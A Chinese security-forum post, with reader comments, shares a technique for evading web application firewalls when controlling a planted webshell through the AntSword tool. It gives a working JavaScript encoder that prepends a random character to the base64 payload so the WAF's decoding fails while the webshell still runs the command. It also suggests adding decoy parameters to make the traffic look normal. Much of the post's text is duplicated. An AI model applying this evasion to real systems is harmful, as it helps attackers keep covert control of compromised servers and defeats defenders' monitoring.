分享一个AntSword过waf的小技巧
AntSword支持multipart之后可扩展性更强了,这里分享一个小技巧可以绕过基于流量的恶意请求检测
关于如何隐藏eval关键字可以参考@y35u的文章
https://www.t00ls.com/thread-49256-1-2.html
我们知道base64解码时是从头开始4位4位解的,所以绕过点就是在原始base64 payload前增加几个字符,目的是打破4的倍数使base64无法正常解码,这样遇到尝试解码的waf会解码失败,而我们的一句话则可以忽略增加的几个字符
修改起来也很简单,主要就是生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符。
光从流量上是看不出正常流量还是恶意流量的,再增加点迷惑性参数就更隐蔽了。
一点小想法,抛砖引玉。
关于如何隐藏eval关键字可以参考@y35u的文章
https://www.t00ls.com/thread-49256-1-2.html
我们知道base64解码时是从头开始4位4位解的,所以绕过点就是在原始base64 payload前增加几个字符,目的是打破4的倍数使base64无法正常解码,这样遇到尝试解码的waf会解码失败,而我们的一句话则可以忽略增加的几个字符
修改起来也很简单,主要就是生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符。
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机字符
var random = String.fromCharCode(Math.floor(Math.random() * 26) + 65);
// 原有的 payload 在 data['_']中
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = random + new Buffer(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
光从流量上是看不出正常流量还是恶意流量的,再增加点迷惑性参数就更隐蔽了。
一点小想法,抛砖引玉。
评论53次
如果流量检测 检测返回数据包 windows nt ......还是会报警的
用户:在payload前面加一个任意字符waf:赶紧加规则,去掉第一个字符以后base64 decode用户:在payload最后再加一个任意字符waf:去掉第一个字符以后再去掉最后一个字符然后base64 decode用户:在payload的第*%&*位加一个任意字符waf:……
再简单的恶意代码 只要加密够硬就行
蚁剑毕竟开源,配置和修改起来也比较灵活
主要是思路啊~~
antsword是用过最好用的刀了
antsword貌似是唯一开源维护且能跨平台的刀,社区的力量还是强大
antsword这么灵活哇
这个确实想不到。
其实可以吧很多东西打散,然后编码,之后重组
估计过段时间各类waf就要更新这个规则了
确实 ,够阴 的。。。收藏一波
好一记阴招
顶
先收藏了,感觉有用